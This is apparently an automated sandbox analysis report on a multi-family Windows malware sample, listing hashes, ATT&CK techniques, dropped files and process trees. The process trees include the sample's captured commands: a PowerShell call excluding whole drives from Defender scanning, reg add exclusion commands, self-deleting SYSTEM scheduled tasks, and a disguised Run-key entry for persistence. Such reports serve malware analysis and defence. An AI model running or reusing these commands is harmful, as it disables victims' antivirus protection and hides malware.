b1a9483603bce81378bcf7d1d6bcc040fbd450c42d91287e31df76cc126eeda1

Analysis

max time kernel
150s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 23:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Size 30.6MB
Sample261020-3nefdadf63
SHA256 b1a9483603bce81378bcf7d1d6bcc040fbd450c42d91287e31df76cc126eeda1
MD5 350a910734c2363dbb236671eedf4d69
SHA1 ca76283ef6775df0e3b29240c849f5d932079c7c
SHA512 f6a47e292c52a286674faf7d9ea1dca5af6eb95ce3cc47c1b697be543b45d77340262ea4ac2cfa1212f5dc5ad6b8dddf83bd8a8af6f74fd9b90029bb36dd70d5
SSDEEP 98304:trLI1rjAD8ntZ9QdFERG30oAmx6bR8v4P7A/OFyVK6nAwTYkrhRqlNvREqE6rn0p:kAqZ9gii0NMSEGSd
TLSH
T156673E12B6058CCAF066A274848B4FE0E325DDB089B0977723B5775D2FFE34C8EA6165
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\Qf4aOK = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6040	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2920	2RriOA.exe
2356	2RriOA.exe

Loads dropped DLL 2 IoCs

pid	Process
2920	2RriOA.exe
2356	2RriOA.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Qf4aOK\\2RriOA.exe\""	2RriOA.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4104	cmd.exe
2720	cmd.exe
1500	cmd.exe
1876	cmd.exe
2268	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	2RriOA.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6080	cmd.exe
1300	cmd.exe
1844	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2RriOA.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2RriOA.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2464	schtasks.exe
3980	schtasks.exe
3872	schtasks.exe
4048	schtasks.exe
1044	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4904	2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe
2920	2RriOA.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	6040	powershell.exe
Token: SeIncreaseQuotaPrivilege	6040	powershell.exe
Token: SeSecurityPrivilege	6040	powershell.exe
Token: SeTakeOwnershipPrivilege	6040	powershell.exe
Token: SeLoadDriverPrivilege	6040	powershell.exe
Token: SeSystemProfilePrivilege	6040	powershell.exe
Token: SeSystemtimePrivilege	6040	powershell.exe
Token: SeProfSingleProcessPrivilege	6040	powershell.exe
Token: SeIncBasePriorityPrivilege	6040	powershell.exe
Token: SeCreatePagefilePrivilege	6040	powershell.exe
Token: SeBackupPrivilege	6040	powershell.exe
Token: SeRestorePrivilege	6040	powershell.exe
Token: SeShutdownPrivilege	6040	powershell.exe
Token: SeDebugPrivilege	6040	powershell.exe
Token: SeSystemEnvironmentPrivilege	6040	powershell.exe
Token: SeRemoteShutdownPrivilege	6040	powershell.exe
Token: SeUndockPrivilege	6040	powershell.exe
Token: SeManageVolumePrivilege	6040	powershell.exe
Token: 33	6040	powershell.exe
Token: 34	6040	powershell.exe
Token: 35	6040	powershell.exe
Token: 36	6040	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 6040	2920	2RriOA.exe	92
PID 2920 wrote to memory of 1500	2920	2RriOA.exe	94
PID 1500 wrote to memory of 2464	1500	cmd.exe	96
PID 1500 wrote to memory of 2764	1500	cmd.exe	98
PID 2920 wrote to memory of 1876	2920	2RriOA.exe	99
PID 1876 wrote to memory of 3980	1876	cmd.exe	103
PID 1500 wrote to memory of 2180	1500	cmd.exe	104
PID 2920 wrote to memory of 2268	2920	2RriOA.exe	105
PID 1876 wrote to memory of 5568	1876	cmd.exe	107
PID 2268 wrote to memory of 3872	2268	cmd.exe	108
PID 1876 wrote to memory of 2976	1876	cmd.exe	109
PID 2268 wrote to memory of 2132	2268	cmd.exe	110
PID 2268 wrote to memory of 1596	2268	cmd.exe	111
PID 6080 wrote to memory of 4368	6080	cmd.exe	113
PID 2920 wrote to memory of 4104	2920	2RriOA.exe	114
PID 4104 wrote to memory of 4048	4104	cmd.exe	116
PID 4104 wrote to memory of 4120	4104	cmd.exe	117
PID 4104 wrote to memory of 3792	4104	cmd.exe	119
PID 2920 wrote to memory of 2720	2920	2RriOA.exe	122
PID 2720 wrote to memory of 1044	2720	cmd.exe	124
PID 2720 wrote to memory of 4948	2720	cmd.exe	125
PID 2720 wrote to memory of 2672	2720	cmd.exe	127
PID 1300 wrote to memory of 2100	1300	cmd.exe	129
PID 1844 wrote to memory of 5816	1844	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-19_350a910734c2363dbb236671eedf4d69_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4904

C:\Users\Public\Qf4aOK\2RriOA.exe
"C:\Users\Public\Qf4aOK\2RriOA.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Qf4aOK\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Qf4aOK\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1044
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2672

C:\Users\Public\Qf4aOK\2RriOA.exe
"C:\Users\Public\Qf4aOK\2RriOA.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2356

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Qf4aOK" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6080
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Qf4aOK" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4368

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4052

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1300
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2100

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 b8f304daf734cb08ff503e0558080d4d34901046f2b3e213108805bb5589beef
MD5 d3c1cd92f209132eb6096e4955bd7c38
SHA1 5aa534f32e0c953c54b744a9166180e4d4b27362
SHA512 84cbb0a05497286d77cc67c2bf1a12673eb85d6965c87ee0db1311c8ef59a55d5d8b051e6e77f841fe3ea9cc23d63bc1d82e4a5343a2145d19229e1001a31d9a
TLSH
T14D31C6BB5BB978828F398D4624CDE02628F5F1A05CC904E92249C8955F883B12F9AD0D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 0fc5b3ca2fc4d3e696da943bdc6954baf728e602fcffee3485df6ced34b5c86d
MD5 6f1c2ee84682f81ff72531c8a7382e8d
SHA1 a3f465cca461ade5adc163ef518883233c745489
SHA512 9115a8cf0f9e0e322d284d2ce5940c243a5f9b7a9f1f9c9cb181e866ab7e060491359ace6dbec34bcef5d979253f0621f5554cbb719bef257398f1c4b9879294
TLSH
T1FE31D6969E3A4003AF0D4F34A1C0D23FACF492655CF84845652EC26B4629BB39FC9404
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 c422a287c0675679ef749d25f296561c8b44caa28df01f55f656f88ae3217601
MD5 22b7a2965c1e95e194c717bfbf6f33db
SHA1 d00c5b583354fcb73beb1d3c1b024f4e4ee86882
SHA512 c69499939aade537cfeaab7692be0e32949a51134b7a965a1c937694eb3e2f4f6733def5707c7260776ab423d4fe8efc7f770d4c8b3043841e8985986b60d039
TLSH
T150F05C1C4478463FF633DA7D8ACE35A61B6BF606350249B40AB2570CA206A433C5257A
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 750e74b03ee52c9c05eee0cf210e77e51d8a9d8e81c8487fc329844af14f18d1
MD5 d5e1964ce3b9a5a1f299c123cba6a0af
SHA1 43975702ae4b769f8f5932427070f1078474b289
SHA512 3064371d8cf63c65f4e95cb242ebace823dd26035ef5a70fd27e3fb933489d2569bca3e59498be71090f402a68dbd3815142f5ac396da2ddd1186459747e79ae
TLSH
T1E5F05C3B42ED011BF27B92B8468ABA609D75F2275046A5BE09A5020C1A62D811C8236C
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uyots5xa.y2q.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uyots5xa.y2q.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

2RriOA.exe

Path C:\Users\Public\Qf4aOK\2RriOA.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\Qf4aOK\UxEnhance64.dll
Size 3.1MB
SHA256 b6b040f5a6524d314158381d1b61f5472d2fcc42eca877612aa283b5bc84a3fa
MD5 5f0497156f400a150931b654d7b2308f
SHA1 9d3d9933191aa7aa763396d11c846d1931811ae7
SHA512 7948be7fa485a8af16767df713ada521137dbbc1dc5e50b54807aef5ad0122b29bd9f896964b939e23969b3c98249d26d566de5a94d391c405723e4d6b98d261
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+i:P9m29xx3Tiqt06ox6+z2rNNrKoi
TLSH
T1C3E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\Qf4aOK\adoresd.dat
Size 4.7MB
SHA256 7e486177e0e3590b416dcc49e2af78d9be7a73c1f5baa8150e8e99723c524ece
MD5 41f084b55bc6c01c183518df3ffcc0bf
SHA1 a37564ee07147b8c55cb90cb384970ec93818424
SHA512 8cab225888ffdad886de0c080009416b791976eb4937dfb1c382ccc9931bbc804e68a60eb44aeab682da7ad7f494e8a3e982a4a33e4fa4d5c7d717aa20578b1b
SSDEEP 98304:GKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:GKClqhi0Cv54K2IVS0VQg
TLSH
T1B23633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\Qf4aOK\msadox.tb
Size 8KB
SHA256 4797eff9d9d627b8bca68718f82f76adf39eb5b1915bfeeaac19cb1436f47989
MD5 02362b8954b8f624e7bb6e2113840fc4
SHA1 d682d2749fdd95a3ea468f2fc034653eadad3875
SHA512 2b9fb0dfec97b6c432f8de38d0e85455b45373e1076a88b4b9ac36c16c8c9120e05f47748684196768bbc3613a84e86e9e43cafd67261506e78992b41f65410e
SSDEEP 192:DqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:DsZqZOXQ3uqvR2Kfzp
TLSH
T11A029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072ED2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2356-574-0x00007FF97B790000-0x00007FF97BCAE000-memory.dmp

Download

memory/2356-588-0x00000142B4480000-0x00000142B4D07000-memory.dmp

Download

memory/2356-591-0x00007FF99C470000-0x00007FF99C472000-memory.dmp

Download

memory/2356-590-0x00000142B4480000-0x00000142B4D07000-memory.dmp

Download

memory/2356-589-0x00000142B4480000-0x00000142B4D07000-memory.dmp

Download

memory/2356-587-0x00000142B4480000-0x00000142B4D07000-memory.dmp

Download

memory/2356-583-0x00000142B4480000-0x00000142B4D07000-memory.dmp

